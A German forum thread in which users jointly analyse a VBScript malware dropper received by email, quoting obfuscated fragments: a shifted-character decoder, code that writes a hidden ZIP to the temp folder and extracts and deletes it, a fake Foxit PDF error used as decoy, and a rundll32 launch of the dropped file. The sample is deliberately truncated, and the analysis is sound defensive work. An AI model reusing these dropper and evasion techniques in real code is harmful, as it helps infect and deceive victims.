Reengineering of Virus verstehen

  • VBScript

Es gibt 4 Antworten in diesem Thema. Der letzte Beitrag () ist von Coldfire.

    Reengineering of Virus verstehen

    Liebe Gemeinde, ein Bösewicht hat mir einen Virus geschickt als VBS. Ich will jetzt rausbekommen was der Virus so macht. Eine Kernfunktion scheint dies hier zu sein:

    [color=#008000]Function XIImwlL(FGBWwnS) ::::::::::kRZywIcM=0::::::::::jJnVcDdI=""::::::::::Do While kRZywIcM =< UBound(FGBWwnS)::::::::::jJnVcDdI=jJnVcDdI+ChrW(FGBWwnS(kRZywIcM)-158899)::::::::::kRZywIcM=kRZywIcM+1::::::::::Loop::::::::::XIImwlL=jJnVcDdI::::::::::End Function[/color]

    Bisher glaube ich verstanden zu haben, dass die Doppelpunkte nicht so wichtig sind. Dem ganzen sind 255 const Einträge vorangestellt. Z.B. solche

    const xOhBLE=158967::::::::::const mCAMQ=158933::::::::::const fOhBLE=159092::::::::::const oOhBLE=159062::::::::::const kNnWh=159046::::::::::const jNnWh=158974


    Dann gibt es noch diverse Array Definitionen Wie z.B. solche:

    HsHrfAj=Array(wnqwoWE,jNnWh,gOhBLE,utiyR,bCUZsls,ttiyR,ttiyR,ttiyR,aOhBLE,ttiyR,jtiyR,btiyR,vnqwoWE,wnqwoWE,fnqwoWE,omXeSGaQ,ctiyR,iCUZsls,kSJHFWY,ohGnzYUN,gOhBLE,ttiyR,ttiyR,nhGnzYUN,nSJHFWY,ttiyR,aOhBLE,ttiyR,ttiyR,ttiyR,ptiyR...)

    Hier werden die "verschlüsselten" Buchstaben wohl in einen Array reingeschrieben (glaube ich) und gerinnen zu Programcode. Noch weiter unten steht dann:

    [color=#006400]Set NMMfIsYxQ=CreateObject("ADOD"+"B.Str"+"eam")::::::::::NMMfIsYxQ.Type=Cint("2")::::::::::NMMfIsYxQ.Charset="ISO-"+"8859-"+"1"::::::::::NMMfIsYxQ.Open()::::::::::tyMUYQJW.CopyTo(NMMfIsYxQ)::::::::::NMMfIsYxQ.SaveToFile XqFOcETwl+"SSjs."+"txt", Cint("2")::::::::::tyMUYQJW.Close()::::::::::NMMfIsYxQ.Close()::::::::::End [/color]
    Ich glaube verstanden zu haben, dass hier eine Datei mit ?????SSjs.txt erstellt wird im Temp Ordner unter Verwendung des Latin-1 Zeichensatzes. Richtig oder Falsch von mir gedacht?

    Dim tyMUYQJW::::::::::Dim NMMfIsYxQ::::::::::Set tyMUYQJW=CreateObject("ADOD"+"B.Str"+"eam")::::::::::tyMUYQJW.Type=Cint("2")::::::::::tyMUYQJW.Open()::::::::::[b]tyMUYQJW.WriteText XIImwlL(HsHrfAj)[/b]
    [s.o]

    Jedenfalls wird wohl eine "Fehlermeldung generiert um den User "abzulenken":

    GyHBbCaF=MsgBox("Use"+"r "+XnJpinZBo+" The "+"PDF fi"+"le is "+"corrup"+"ted an"+"d cann"+"ot be "+"opened"+". Erro"+"r: (0x"+"23105)"+" ", vbSystemModal+vbExclamation, "Foxi"+"t Rea"+"der E"+"rror")::::::::::XqFOcETwl=CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(Cint("2"))+"\")::::::::::Dim tyMUYQJW::::::::::Dim NMMfIsYxQ::::::::::Set tyMUYQJW=CreateObject("ADOD"+"B.Str"+"eam")::::::::::tyMUYQJW.Type=Cint("2")::::::::::tyMUYQJW.Open()::::::::::tyMUYQJW.WriteText XIImwlL(HsHrfAj)::::::::::tyMUYQJW.WriteText

    Wenn ich mir nun die Mühe mache und die 255 Buchstabenkombinationen zu übersetzten in Dezimal schreibweise (also 158899-158967=68 Wert im Array= xOhBLE (s.o.)) bekomme ich mit Latin-1 ein "D" raus. Leider ergeben die Arrays dann immer noch kein Sinn. Was mache ich falsch?
    Wie ist die "Übersetzung" angelegt? Ist das überhaupt Latin-1 oder was anderes?

    Ich will ja nur wissen was das Teufelszeug anrichtet und wohin die Reise gehen würde. Ich bin super dankbar, wenn jemand Hirn vom Himmel werfen würde, damit ich nicht dumm sterben muss. Vielen Dank für Eure Zeit !!! Im Anhang der fast ganze Virus - ich habe den gekürzt um hier keine Vorlage zu liefern. Von dem Sch... ist schon genug im Umlauf.
    LG




    Dateien

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Terror4Tec“ ()

    VB scheint bei Virenprogrammieren immer noch beliebt zu sein. ;) Aktuell gibt es nämlich noch einen Thread, aber dort ein Virus in VBA: Frage zu einem bestehenden Script...

    Zum Thema: Die Doppelpunkte sorgen lediglich dafür, dass man alles in einer Zeile schreiben kann. Streng genommen ist nur einer nötig, die vielen sollen wohl verwirren. Genau wie das Packen in eine Zeile verwirren soll.

    Die Funktion XIImwlL scheint einen String zusammenzubauen.

    Bei CreateObject wird wohl ein ADODB.Stream-Objekt erzeugt, klingt nach Datenbank.

    Mehr kann ich auf die Schnelle nicht dazu sagen.

    EDIT: Setze deinen Code doch bitte auch in Code-Tags: [Forum] Welche BBCodes (Tags) gibt es hier im Forum zum Einfärben von Quellcodes (Syntax-Highlighting)?
    Besucht auch mein anderes Forum:
    Das Amateurfilm-Forum
    Es soll scheinbar kein lesbarer string sein. Es wird ein ZIP-Archiv erstellt.

    Wenn ich das Array HsHrfAj durch die funktion XIImwlL jage und auf die platte schreibe sieht es verdammt nach zip aus(siehe Anhang). Da auch irgendwas registiert wird(könnte da drin was ausführbares sein)
    LFlMuXY.Create "rund"+"ll32."+"exe "+ XqFOcETwl+"EHV"+"u.tx"+"t,Dl"+"lReg"+"iste"+"rSer"+"ver",,,processid

    Ich täte mal das erstellte archiv untersuchen
    Bilder
    • Unbenannt.png

      35,7 kB, 671×363, 121 mal angesehen
    Cloud Computer? Nein Danke! Das ist nur ein weiterer Schritt zur totalen Überwachung.
    „Wer die Freiheit aufgibt, um Sicherheit zu gewinnen, wird am Ende beides verlieren.“
    Benjamin Franklin
    VIELEN DANK!! - Super das Du das Script für uns "durchgekaut" hast. Zumindest wird mir jetzt klar das die Umsetzung der Strings verständlicher: Ich zweifelte schon an meiner Interpretation. Dank Deiner Untersuchung sehe ich nun das sehr wohl exotische Zeichen zum Array gerinnen können. Doof wie ich bin, dachte ich das kann nicht sein, weil ich davon ausging das sofort VBS-Code entstehen würde. Aber das wäre ja auch zu einfach :(

    Ich glaube nun verstanden zu haben, das aufgrund folgender Zeichen:
    Set NMMfIsYxQ=CreateObject("ADOD"+"B.Str"+"eam")::::::::::NMMfIsYxQ.Type=Cint("2")::::::::::NMMfIsYxQ.Charset="ISO-"+"8859-"+"1"::::::::::NMMfIsYxQ.Open()::::::::::tyMUYQJW.CopyTo(NMMfIsYxQ)::::::::::NMMfIsYxQ.SaveToFile XqFOcETwl+"SSjs."+"txt", Cint("2")::::::::::tyMUYQJW.Close()::::::::::NMMfIsYxQ.Close()::::::::::End

    Eine Datei im %TEMP% Ordner erstellt wird die blblaSSjs.txt heißt. aber was soll das Aufrunden ?? Dabei wird im Inhalt der Zeichensatz Latin1 verwendet.

    Das mit der ZIP Datei ist sicher richtig dahin wird die TXT Datei verschoben und GELÖSCHT

    Function KgWdTCC()::::::::::XqFOcETwl=CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(Cint("2"))+"\")::::::::::Dim flQsXek: Set flQsXek=CreateObject("Scripting.FileSystemObject")::::::::::flQsXek.MoveFile XqFOcETwl+"SSjs."+"txt", XqFOcETwl+"SSjs."+"txt"+".zip"::::::::::Set hUIyRVss=CreateObject("Shell"+".Appli"+"cation")::::::::::Set colItems=hUIyRVss.NameSpace(XqFOcETwl+"SSjs."+"txt"+".zip").Items()::::::::::hUIyRVss.NameSpace(XqFOcETwl).copyHere colItems, 16::::::::::flQsXek.DeleteFile XqFOcETwl+"SSjs."+"txt"+".zip", True::::::::::End Function

    Jetzt die Frage: Ab wo muss ich das Script kürzen, damt das LÖSCHEN unterbleibt? Kann ich einfach flQsXek.DeleteFile XqFOcETwl+"SSjs."+"txt"+".zip", True aus dem Script löschen und das Script funktioniert weiterhin, so wie vom Autor beabsichtigt? ...und ich kann in Ruhe das Zip File betrachten? - Für Hinweise bin ich wie immer sehr dankbar.
    - ich weiß eigentlich muss das der Code als solcher markiert sein - dann bleibt aber die Farbe auf der Strecke und die ist für das Argumentieren hilfreich - Sorry Admin :-x

    Die Farbe "Rot" ist der Moderation vorbehalten => geändert. Ausnahmsweise lasse ich den Code mal so stehen und zwar genau weil dann die Querverweise funktionieren … ~Thunderbolt

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Thunderbolt“ ()